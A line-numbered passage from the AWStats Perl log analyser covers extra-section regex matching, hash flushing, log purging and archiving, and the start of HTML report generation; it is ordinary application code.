                                                                        /$regreferernoquery/o )
 
19417
                                                                {
 
19418
                                                                        if ($PageBool) { $_pagesrefs_p{"$1"}++; }
 
19419
                                                                        $_pagesrefs_h{"$1"}++;
 
19420
                                                                }
 
19421
                                                                else {
 
19422
                                                                        if ($PageBool) {
 
19423
                                                                                $_pagesrefs_p{ $field[$pos_referer] }++;
 
19424
                                                                        }
 
19425
                                                                        $_pagesrefs_h{ $field[$pos_referer] }++;
 
19426
                                                                }
 
19427
                                                        }
 
19428
                                                        $found = 1;
 
19429
                                                }
 
19430
                                        }
 
19431
 
 
19432
                                        # News Link ?
 
19433
                                        #if (! $found && $refererprot =~ /^news/i) {
 
19434
                                        #       $found=1;
 
19435
                                        #       if ($PageBool) { $_from_p[5]++; }
 
19436
                                        #       $_from_h[5]++;
 
19437
                                        #}
 
19438
                                }
 
19439
                        }
 
19440
 
 
19441
                        # Origin not found
 
19442
                        if ( !$found ) {
 
19443
                                if ($ShowUnknownOrigin) {
 
19444
                                        print "Unknown origin: $field[$pos_referer]\n";
 
19445
                                }
 
19446
                                if ($PageBool) { $_from_p[1]++; }
 
19447
                                $_from_h[1]++;
 
19448
                        }
 
19449
 
 
19450
                        # Analyze: EMail
 
19451
                        #---------------
 
19452
                        if ( $pos_emails >= 0 && $field[$pos_emails] ) {
 
19453
                                if ( $field[$pos_emails] eq '<>' ) {
 
19454
                                        $field[$pos_emails] = 'Unknown';
 
19455
                                }
 
19456
                                elsif ( $field[$pos_emails] !~ /\@/ ) {
 
19457
                                        $field[$pos_emails] .= "\@$SiteDomain";
 
19458
                                }
 
19459
                                $_emails_h{ lc( $field[$pos_emails] ) }
 
19460
                                  ++;    #Count accesses for sender email (hit)
 
19461
                                if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } +=
 
19462
                                  int( $field[$pos_size] )
 
19463
                                  ;}      #Count accesses for sender email (kb)
 
19464
                                $_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
 
19465
                        }
 
19466
                        if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
 
19467
                                if ( $field[$pos_emailr] !~ /\@/ ) {
 
19468
                                        $field[$pos_emailr] .= "\@$SiteDomain";
 
19469
                                }
 
19470
                                $_emailr_h{ lc( $field[$pos_emailr] ) }
 
19471
                                  ++;    #Count accesses for receiver email (hit)
 
19472
                                if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } +=
 
19473
                                  int( $field[$pos_size] )
 
19474
                                  ;}      #Count accesses for receiver email (kb)
 
19475
                                $_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
 
19476
                        }
 
19477
                }
 
19478
 
 
19479
                # Check cluster
 
19480
                #--------------
 
19481
                if ( $pos_cluster >= 0 ) {
 
19482
                        if ($PageBool) {
 
19483
                                $_cluster_p{ $field[$pos_cluster] }++;
 
19484
                        }    #Count accesses for page (page)
 
19485
                        $_cluster_h{ $field[$pos_cluster] }
 
19486
                          ++;    #Count accesses for page (hit)
 
19487
                        if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } +=
 
19488
                          int( $field[$pos_size] );}    #Count accesses for page (kb)
 
19489
                }
 
19490
 
 
19491
                # Analyze: Extra
 
19492
                #---------------
 
19493
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
19494
                        if ($Debug) { debug( "  Process extra analyze $extranum", 4 ); }
 
19495
 
 
19496
                        # Check code
 
19497
                        my $conditionok = 0;
 
19498
                        if ( $ExtraCodeFilter[$extranum] ) {
 
19499
                                foreach
 
19500
                                  my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
 
19501
                                {
 
19502
                                        if ($Debug) {
 
19503
                                                debug(
 
19504
"  Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
 
19505
                                                        5
 
19506
                                                );
 
19507
                                        }
 
19508
                                        if ( $field[$pos_code] eq
 
19509
                                                "$ExtraCodeFilter[$extranum][$condnum]" )
 
19510
                                        {
 
19511
                                                $conditionok = 1;
 
19512
                                                last;
 
19513
                                        }
 
19514
                                }
 
19515
                                if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
 
19516
                                        next;
 
19517
                                }    # End for this section
 
19518
                                if ($Debug) {
 
19519
                                        debug(
 
19520
"  No check on code or code is OK. Now we check other conditions.",
 
19521
                                                5
 
19522
                                        );
 
19523
                                }
 
19524
                        }
 
19525
 
 
19526
                        # Check conditions
 
19527
                        $conditionok = 0;
 
19528
                        foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
 
19529
                        {
 
19530
                                my $conditiontype    = $ExtraConditionType[$extranum][$condnum];
 
19531
                                my $conditiontypeval =
 
19532
                                  $ExtraConditionTypeVal[$extranum][$condnum];
 
19533
                                if ( $conditiontype eq 'URL' ) {
 
19534
                                        if ($Debug) {
 
19535
                                                debug(
 
19536
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
 
19537
                                                        5
 
19538
                                                );
 
19539
                                        }
 
19540
                                        if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
 
19541
                                                $conditionok = 1;
 
19542
                                                last;
 
19543
                                        }
 
19544
                                }
 
19545
                                elsif ( $conditiontype eq 'QUERY_STRING' ) {
 
19546
                                        if ($Debug) {
 
19547
                                                debug(
 
19548
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
 
19549
                                                        5
 
19550
                                                );
 
19551
                                        }
 
19552
                                        if ( $standalonequery =~ /$conditiontypeval/ ) {
 
19553
                                                $conditionok = 1;
 
19554
                                                last;
 
19555
                                        }
 
19556
                                }
 
19557
                                elsif ( $conditiontype eq 'URLWITHQUERY' ) {
 
19558
                                        if ($Debug) {
 
19559
                                                debug(
 
19560
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
 
19561
                                                        5
 
19562
                                                );
 
19563
                                        }
 
19564
                                        if ( "$urlwithnoquery$tokenquery$standalonequery" =~
 
19565
                                                /$conditiontypeval/ )
 
19566
                                        {
 
19567
                                                $conditionok = 1;
 
19568
                                                last;
 
19569
                                        }
 
19570
                                }
 
19571
                                elsif ( $conditiontype eq 'REFERER' ) {
 
19572
                                        if ($Debug) {
 
19573
                                                debug(
 
19574
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
 
19575
                                                        5
 
19576
                                                );
 
19577
                                        }
 
19578
                                        if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
 
19579
                                                $conditionok = 1;
 
19580
                                                last;
 
19581
                                        }
 
19582
                                }
 
19583
                                elsif ( $conditiontype eq 'UA' ) {
 
19584
                                        if ($Debug) {
 
19585
                                                debug(
 
19586
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
 
19587
                                                        5
 
19588
                                                );
 
19589
                                        }
 
19590
                                        if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
 
19591
                                                $conditionok = 1;
 
19592
                                                last;
 
19593
                                        }
 
19594
                                }
 
19595
                                elsif ( $conditiontype eq 'HOSTINLOG' ) {
 
19596
                                        if ($Debug) {
 
19597
                                                debug(
 
19598
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
 
19599
                                                        5
 
19600
                                                );
 
19601
                                        }
 
19602
                                        if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
 
19603
                                                $conditionok = 1;
 
19604
                                                last;
 
19605
                                        }
 
19606
                                }
 
19607
                                elsif ( $conditiontype eq 'HOST' ) {
 
19608
                                        my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
 
19609
                                        if ($Debug) {
 
19610
                                                debug(
 
19611
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
 
19612
                                                        5
 
19613
                                                );
 
19614
                                        }
 
19615
                                        if ( $hosttouse =~ /$conditiontypeval/ ) {
 
19616
                                                $conditionok = 1;
 
19617
                                                last;
 
19618
                                        }
 
19619
                                }
 
19620
                                elsif ( $conditiontype eq 'VHOST' ) {
 
19621
                                        if ($Debug) {
 
19622
                                                debug(
 
19623
"  Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
 
19624
                                                        5
 
19625
                                                );
 
19626
                                        }
 
19627
                                        if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
 
19628
                                                $conditionok = 1;
 
19629
                                                last;
 
19630
                                        }
 
19631
                                }
 
19632
                                elsif ( $conditiontype =~ /extra(\d+)/i ) {
 
19633
                                        if ($Debug) {
 
19634
                                                debug(
 
19635
"  Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
 
19636
                                                        5
 
19637
                                                );
 
19638
                                        }
 
19639
                                        if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
 
19640
                                                $conditionok = 1;
 
19641
                                                last;
 
19642
                                        }
 
19643
                                }
 
19644
                                else {
 
19645
                                        error(
 
19646
"Wrong value of parameter ExtraSectionCondition$extranum"
 
19647
                                        );
 
19648
                                }
 
19649
                        }
 
19650
                        if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
 
19651
                                next;
 
19652
                        }    # End for this section
 
19653
                        if ($Debug) {
 
19654
                                debug(
 
19655
"  No condition or condition is OK. Now we extract value for first column of extra chart.",
 
19656
                                        5
 
19657
                                );
 
19658
                        }
 
19659
 
 
19660
                        # Determine actual column value to use.
 
19661
                        my $rowkeyval;
 
19662
                        my $rowkeyok = 0;
 
19663
                        foreach my $rowkeynum (
 
19664
                                0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
 
19665
                        {
 
19666
                                my $rowkeytype =
 
19667
                                  $ExtraFirstColumnValuesType[$extranum][$rowkeynum];
 
19668
                                my $rowkeytypeval =
 
19669
                                  $ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
 
19670
                                if ( $rowkeytype eq 'URL' ) {
 
19671
                                        if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
 
19672
                                                $rowkeyval = "$1";
 
19673
                                                $rowkeyok  = 1;
 
19674
                                                last;
 
19675
                                        }
 
19676
                                }
 
19677
                                elsif ( $rowkeytype eq 'QUERY_STRING' ) {
 
19678
                                        if ($Debug) {
 
19679
                                                debug(
 
19680
"  Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
 
19681
                                                        5
 
19682
                                                );
 
19683
                                        }
 
19684
                                        if ( $standalonequery =~ /$rowkeytypeval/ ) {
 
19685
                                                $rowkeyval = "$1";
 
19686
                                                $rowkeyok  = 1;
 
19687
                                                last;
 
19688
                                        }
 
19689
                                }
 
19690
                                elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
 
19691
                                        if ( "$urlwithnoquery$tokenquery$standalonequery" =~
 
19692
                                                /$rowkeytypeval/ )
 
19693
                                        {
 
19694
                                                $rowkeyval = "$1";
 
19695
                                                $rowkeyok  = 1;
 
19696
                                                last;
 
19697
                                        }
 
19698
                                }
 
19699
                                elsif ( $rowkeytype eq 'REFERER' ) {
 
19700
                                        if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
 
19701
                                                $rowkeyval = "$1";
 
19702
                                                $rowkeyok  = 1;
 
19703
                                                last;
 
19704
                                        }
 
19705
                                }
 
19706
                                elsif ( $rowkeytype eq 'UA' ) {
 
19707
                                        if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
 
19708
                                                $rowkeyval = "$1";
 
19709
                                                $rowkeyok  = 1;
 
19710
                                                last;
 
19711
                                        }
 
19712
                                }
 
19713
                                elsif ( $rowkeytype eq 'HOSTINLOG' ) {
 
19714
                                        if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
 
19715
                                                $rowkeyval = "$1";
 
19716
                                                $rowkeyok  = 1;
 
19717
                                                last;
 
19718
                                        }
 
19719
                                }
 
19720
                                elsif ( $rowkeytype eq 'HOST' ) {
 
19721
                                        my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
 
19722
                                        if ( $hosttouse =~ /$rowkeytypeval/ ) {
 
19723
                                                $rowkeyval = "$1";
 
19724
                                                $rowkeyok  = 1;
 
19725
                                                last;
 
19726
                                        }
 
19727
                                }
 
19728
                                elsif ( $rowkeytype eq 'VHOST' ) {
 
19729
                                        if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
 
19730
                                                $rowkeyval = "$1";
 
19731
                                                $rowkeyok  = 1;
 
19732
                                                last;
 
19733
                                        }
 
19734
                                }
 
19735
                                elsif ( $rowkeytype =~ /extra(\d+)/i ) {
 
19736
                                        if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
 
19737
                                                $rowkeyval = "$1";
 
19738
                                                $rowkeyok  = 1;
 
19739
                                                last;
 
19740
                                        }
 
19741
                                }
 
19742
                                else {
 
19743
                                        error(
 
19744
"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
 
19745
                                        );
 
19746
                                }
 
19747
                        }
 
19748
                        if ( !$rowkeyok ) { next; }    # End for this section
 
19749
                        if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; }
 
19750
                        if ($Debug) { debug( "  Key val found: $rowkeyval", 5 ); }
 
19751
 
 
19752
                        # Apply function on $rowkeyval
 
19753
                        if ( $ExtraFirstColumnFunction[$extranum] ) {
 
19754
 
 
19755
                                # Todo call function on string $rowkeyval
 
19756
                        }
 
19757
 
 
19758
                        # Here we got all values to increase counters
 
19759
                        if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
 
19760
                                ${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
 
19761
                        }
 
19762
                        ${ '_section_' . $extranum . '_h' }{$rowkeyval}++;    # Must be set
 
19763
                        if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) {
 
19764
                                ${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
 
19765
                                  int( $field[$pos_size] );
 
19766
                        }
 
19767
                        if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
 
19768
                                if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
 
19769
                                        || 0 < $timerecord )
 
19770
                                {
 
19771
                                        ${ '_section_' . $extranum . '_l' }{$rowkeyval} =
 
19772
                                          $timerecord;
 
19773
                                }
 
19774
                        }
 
19775
 
 
19776
                        # Check to avoid too large extra sections
 
19777
                        if (
 
19778
                                scalar keys %{ '_section_' . $extranum . '_h' } >
 
19779
                                $ExtraTrackedRowsLimit )
 
19780
                        {
 
19781
                                error(<<END_ERROR_TEXT);
 
19782
The number of values found for extra section $extranum has grown too large.
 
19783
In order to prevent awstats from using an excessive amount of memory, the number
 
19784
of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
 
19785
revising extract parameters for extra section $extranum. If you are certain you
 
19786
want to track such a large data set, you can increase the limit by setting
 
19787
ExtraTrackedRowsLimit in your awstats configuration file.
 
19788
END_ERROR_TEXT
 
19789
                        }
 
19790
                }
 
19791
 
 
19792
# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
 
19793
                if ( ++$counterforflushtest >= 20000 ) {
 
19794
 
 
19795
                        #if (++$counterforflushtest >= 1) {
 
19796
                        if (   ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
 
19797
                                || ( scalar keys %_url_p ) > $LIMITFLUSH )
 
19798
                        {
 
19799
 
 
19800
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
 
19801
                                if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
 
19802
 
 
19803
# We don't flush if perl is activestate to avoid slowing process because of memory hole
 
19804
                                }
 
19805
                                else {
 
19806
 
 
19807
                                        # Clean tmp hash arrays
 
19808
                                        #%TmpDNSLookup = ();
 
19809
                                        %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
 
19810
 
 
19811
                                        # We flush if perl is not activestate
 
19812
                                        print "Flush history file on disk";
 
19813
                                        if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
 
19814
                                                print " (unique hosts reach flush limit of "
 
19815
                                                  . ( $LIMITFLUSH << 2 ) . ")";
 
19816
                                        }
 
19817
                                        if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
 
19818
                                                print " (unique url reach flush limit of "
 
19819
                                                  . ($LIMITFLUSH) . ")";
 
19820
                                        }
 
19821
                                        print "\n";
 
19822
                                        if ($Debug) {
 
19823
                                                debug(
 
19824
"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
 
19825
                                                        2
 
19826
                                                );
 
19827
                                                print " _host_p:"
 
19828
                                                  . ( scalar keys %_host_p )
 
19829
                                                  . " _host_h:"
 
19830
                                                  . ( scalar keys %_host_h )
 
19831
                                                  . " _host_k:"
 
19832
                                                  . ( scalar keys %_host_k )
 
19833
                                                  . " _host_l:"
 
19834
                                                  . ( scalar keys %_host_l )
 
19835
                                                  . " _host_s:"
 
19836
                                                  . ( scalar keys %_host_s )
 
19837
                                                  . " _host_u:"
 
19838
                                                  . ( scalar keys %_host_u ) . "\n";
 
19839
                                                print " _url_p:"
 
19840
                                                  . ( scalar keys %_url_p )
 
19841
                                                  . " _url_k:"
 
19842
                                                  . ( scalar keys %_url_k )
 
19843
                                                  . " _url_e:"
 
19844
                                                  . ( scalar keys %_url_e )
 
19845
                                                  . " _url_x:"
 
19846
                                                  . ( scalar keys %_url_x ) . "\n";
 
19847
                                                print " _waithost_e:"
 
19848
                                                  . ( scalar keys %_waithost_e )
 
19849
                                                  . " _waithost_l:"
 
19850
                                                  . ( scalar keys %_waithost_l )
 
19851
                                                  . " _waithost_s:"
 
19852
                                                  . ( scalar keys %_waithost_s )
 
19853
                                                  . " _waithost_u:"
 
19854
                                                  . ( scalar keys %_waithost_u ) . "\n";
 
19855
                                        }
 
19856
                                        &Read_History_With_TmpUpdate(
 
19857
                                                $lastprocessedyear,
 
19858
                                                $lastprocessedmonth,
 
19859
                                                $lastprocessedday,
 
19860
                                                $lastprocessedhour,
 
19861
                                                1,
 
19862
                                                1,
 
19863
                                                "all",
 
19864
                                                ( $lastlinenb + $NbOfLinesParsed ),
 
19865
                                                $lastlineoffset,
 
19866
                                                &CheckSum($_)
 
19867
                                        );
 
19868
                                        &GetDelaySinceStart(1);
 
19869
                                        $NbOfLinesShowsteps = 1;
 
19870
                                }
 
19871
                        }
 
19872
                        $counterforflushtest = 0;
 
19873
                }
 
19874
 
 
19875
        }    # End of loop for processing new record.
 
19876
 
 
19877
        if ($Debug) {
 
19878
                debug(
 
19879
                        " _host_p:"
 
19880
                          . ( scalar keys %_host_p )
 
19881
                          . " _host_h:"
 
19882
                          . ( scalar keys %_host_h )
 
19883
                          . " _host_k:"
 
19884
                          . ( scalar keys %_host_k )
 
19885
                          . " _host_l:"
 
19886
                          . ( scalar keys %_host_l )
 
19887
                          . " _host_s:"
 
19888
                          . ( scalar keys %_host_s )
 
19889
                          . " _host_u:"
 
19890
                          . ( scalar keys %_host_u ) . "\n",
 
19891
                        1
 
19892
                );
 
19893
                debug(
 
19894
                        " _url_p:"
 
19895
                          . ( scalar keys %_url_p )
 
19896
                          . " _url_k:"
 
19897
                          . ( scalar keys %_url_k )
 
19898
                          . " _url_e:"
 
19899
                          . ( scalar keys %_url_e )
 
19900
                          . " _url_x:"
 
19901
                          . ( scalar keys %_url_x ) . "\n",
 
19902
                        1
 
19903
                );
 
19904
                debug(
 
19905
                        " _waithost_e:"
 
19906
                          . ( scalar keys %_waithost_e )
 
19907
                          . " _waithost_l:"
 
19908
                          . ( scalar keys %_waithost_l )
 
19909
                          . " _waithost_s:"
 
19910
                          . ( scalar keys %_waithost_s )
 
19911
                          . " _waithost_u:"
 
19912
                          . ( scalar keys %_waithost_u ) . "\n",
 
19913
                        1
 
19914
                );
 
19915
                debug(
 
19916
                        "End of processing log file (AWStats memory cache is TmpDNSLookup="
 
19917
                          . ( scalar keys %TmpDNSLookup )
 
19918
                          . " TmpBrowser="
 
19919
                          . ( scalar keys %TmpBrowser )
 
19920
                          . " TmpOS="
 
19921
                          . ( scalar keys %TmpOS )
 
19922
                          . " TmpRefererServer="
 
19923
                          . ( scalar keys %TmpRefererServer )
 
19924
                          . " TmpRobot="
 
19925
                          . ( scalar keys %TmpRobot ) . ")",
 
19926
                        1
 
19927
                );
 
19928
        }
 
19929
 
 
19930
# Save current processed break section
 
19931
# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
 
19932
        if ( $lastprocesseddate > 0 )
 
19933
        {
 
19934
            # TODO: Do not save if we are sure a flush was just already done
 
19935
                # Get last line
 
19936
                seek( LOG, $lastlineoffset, 0 );
 
19937
                my $line = <LOG>;
 
19938
                chomp $line;
 
19939
                $line =~ s/\r$//;
 
19940
                if ( !$NbOfLinesParsed ) 
 
19941
                {
 
19942
            # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
 
19943
                        &Read_History_With_TmpUpdate(
 
19944
                                $lastprocessedyear, $lastprocessedmonth,
 
19945
                                $lastprocessedday,  $lastprocessedhour,
 
19946
                                1,                  1,
 
19947
                                "all", ( $lastlinenb + $NbOfLinesParsed ),
 
19948
                                $lastlineoffset, &CheckSum($line)
 
19949
                        );
 
19950
                }
 
19951
                else {
 
19952
                        &Read_History_With_TmpUpdate(
 
19953
                                $lastprocessedyear, $lastprocessedmonth,
 
19954
                                $lastprocessedday,  $lastprocessedhour,
 
19955
                                1,                  1,
 
19956
                                "all", ( $lastlinenb + $NbOfLinesParsed ),
 
19957
                                $lastlineoffset, &CheckSum($line)
 
19958
                        );
 
19959
                }
 
19960
        }
 
19961
 
 
19962
        if ($Debug) { debug("Close log file \"$LogFile\""); }
 
19963
        close LOG || error("Command for pipe '$LogFile' failed");
 
19964
 
 
19965
        # Process the Rename - Archive - Purge phase
 
19966
        my $renameok  = 1;
 
19967
        my $archiveok = 1;
 
19968
 
 
19969
        # Open Log file for writing if PurgeLogFile is on
 
19970
        if ($PurgeLogFile) {
 
19971
                if ($ArchiveLogRecords) {
 
19972
                        if ( $ArchiveLogRecords == 1 ) {    # For backward compatibility
 
19973
                                $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
 
19974
                        }
 
19975
                        else {
 
19976
                                $ArchiveFileName =
 
19977
                                  "$DirData/${PROG}_archive$FileSuffix."
 
19978
                                  . &Substitute_Tags($ArchiveLogRecords) . ".log";
 
19979
                        }
 
19980
                        open( LOG, "+<$LogFile" )
 
19981
                          || error(
 
19982
"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
 
19983
                          );
 
19984
                }
 
19985
                else {
 
19986
                        open( LOG, "+<$LogFile" );
 
19987
                }
 
19988
                binmode LOG;
 
19989
        }
 
19990
 
 
19991
        # Rename all HISTORYTMP files into HISTORYTXT
 
19992
        &Rename_All_Tmp_History();
 
19993
 
 
19994
        # Purge Log file if option is on and all renaming are ok
 
19995
        if ($PurgeLogFile) {
 
19996
 
 
19997
                # Archive LOG file into ARCHIVELOG
 
19998
                if ($ArchiveLogRecords) {
 
19999
                        if ($Debug) { debug("Start of archiving log file"); }
 
20000
                        open( ARCHIVELOG, ">>$ArchiveFileName" )
 
20001
                          || error(
 
20002
                                "Couldn't open file \"$ArchiveFileName\" to archive log: $!");
 
20003
                        binmode ARCHIVELOG;
 
20004
                        while (<LOG>) {
 
20005
                                if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
 
20006
                        }
 
20007
                        close(ARCHIVELOG)
 
20008
                          || error("Archiving failed during closing archive: $!");
 
20009
                        if ($SaveDatabaseFilesWithPermissionsForEveryone) {
 
20010
                                chmod 0666, "$ArchiveFileName";
 
20011
                        }
 
20012
                        if ($Debug) { debug("End of archiving log file"); }
 
20013
                }
 
20014
 
 
20015
                # If rename and archive ok
 
20016
                if ( $renameok && $archiveok ) {
 
20017
                        if ($Debug) { debug("Purge log file"); }
 
20018
                        my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
 
20019
                        my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
 
20020
                        my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
 
20021
                        truncate( LOG, 0 )
 
20022
                          || warning(
 
20023
"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
 
20024
                          );
 
20025
                }
 
20026
                close(LOG);
 
20027
        }
 
20028
 
 
20029
        if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
 
20030
 
 
20031
                # DNSLookup warning
 
20032
                my $bold   = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>'    : '' );
 
20033
                my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>'   : '' );
 
20034
                my $br     = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
 
20035
                warning(
 
20036
"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
 
20037
                );
 
20038
        }
 
20039
        if ( $DNSLookup == 1 && $NbOfNewLines ) {
 
20040
 
 
20041
                # Save new DNS last update cache file
 
20042
                Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
 
20043
                        "$FileSuffix" );    # Save into file using FileSuffix
 
20044
        }
 
20045
 
 
20046
        if ($EnableLockForUpdate) {
 
20047
 
 
20048
                # Remove lock
 
20049
                &Lock_Update(0);
 
20050
 
 
20051
                # Restore signals handler
 
20052
                $SIG{INT} = 'DEFAULT';    # 2
 
20053
                                          #$SIG{KILL} = 'DEFAULT';      # 9
 
20054
                                          #$SIG{TERM} = 'DEFAULT';      # 15
 
20055
        }
 
20056
 
 
20057
}
 
20058
 
 
20059
# End of log processing if ($UPdateStats)
 
20060
 
 
20061
#---------------------------------------------------------------------
 
20062
# SHOW REPORT
 
20063
#---------------------------------------------------------------------
 
20064
 
 
20065
if ( scalar keys %HTMLOutput ) {
 
20066
 
 
20067
        debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
 
20068
        debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
 
20069
 
 
20070
        # Define the NewLinkParams for main chart
 
20071
        my $NewLinkParams = ${QueryString};
 
20072
        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
 
20073
        $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
 
20074
        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
 
20075
        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
 
20076
        my $NewLinkTarget = '';
 
20077
        if ($DetailedReportsOnNewWindows) {
 
20078
                $NewLinkTarget = " target=\"awstatsbis\"";
 
20079
        }
 
20080
        if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
 
20081
                && $DetailedReportsOnNewWindows < 2 )
 
20082
        {
 
20083
                $NewLinkParams .= "&amp;framename=mainright";
 
20084
                $NewLinkTarget = " target=\"mainright\"";
 
20085
        }
 
20086
        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
 
20087
        $NewLinkParams =~ s/^&amp;//;
 
20088
        $NewLinkParams =~ s/&amp;$//;
 
20089
        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
 
20090
 
 
20091
        if ( $FrameName ne 'mainleft' ) {
 
20092
 
 
20093
                # READING DATA
 
20094
                #-------------
 
20095
                &Init_HashArray();
 
20096
 
 
20097
                # Lecture des fichiers history / reading history file
 
20098
                if ( $DatabaseBreak eq 'month' ) {
 
20099
                        for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
 
20100
                                my $stringforload = '';
 
20101
                                my $monthix = sprintf( "%02s", $ix );
 
20102
                                if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
 
20103
                                        $stringforload = 'all';    # Read full history file
 
20104
                                }
 
20105
                                elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
 
20106
                                        || $HTMLOutput{'alldays'} )
 
20107
                                {
 
20108
                                        $stringforload =
 
20109
                                          'general time';          # Read general and time sections.
 
20110
                                }
 
20111
                                if ($stringforload) {
 
20112
 
 
20113
                                        # On charge fichier / file is loaded
 
20114
                                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
 
20115
                                                '', 0, 0, $stringforload );
 
20116
                                }
 
20117
                        }
 
20118
                }
 
20119
                if ( $DatabaseBreak eq 'day' ) {
 
20120
                        my $stringforload = 'all';
 
20121
                        my $monthix       = sprintf( "%02s", $MonthRequired );
 
20122
                        my $dayix         = sprintf( "%02s", $DayRequired );
 
20123
                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
 
20124
                                0, 0, $stringforload );
 
20125
                }
 
20126
                if ( $DatabaseBreak eq 'hour' ) {
 
20127
                        my $stringforload = 'all';
 
20128
                        my $monthix       = sprintf( "%02s", $MonthRequired );
 
20129
                        my $dayix         = sprintf( "%02s", $DayRequired );
 
20130
                        my $hourix        = sprintf( "%02s", $HourRequired );
 
20131
                        &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
 
20132
                                $hourix, 0, 0, $stringforload );
 
20133
                }
 
20134
 
 
20135
        }
 
20136
 
 
20137
        # HTMLHeadSection
 
20138
        if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
 
20139
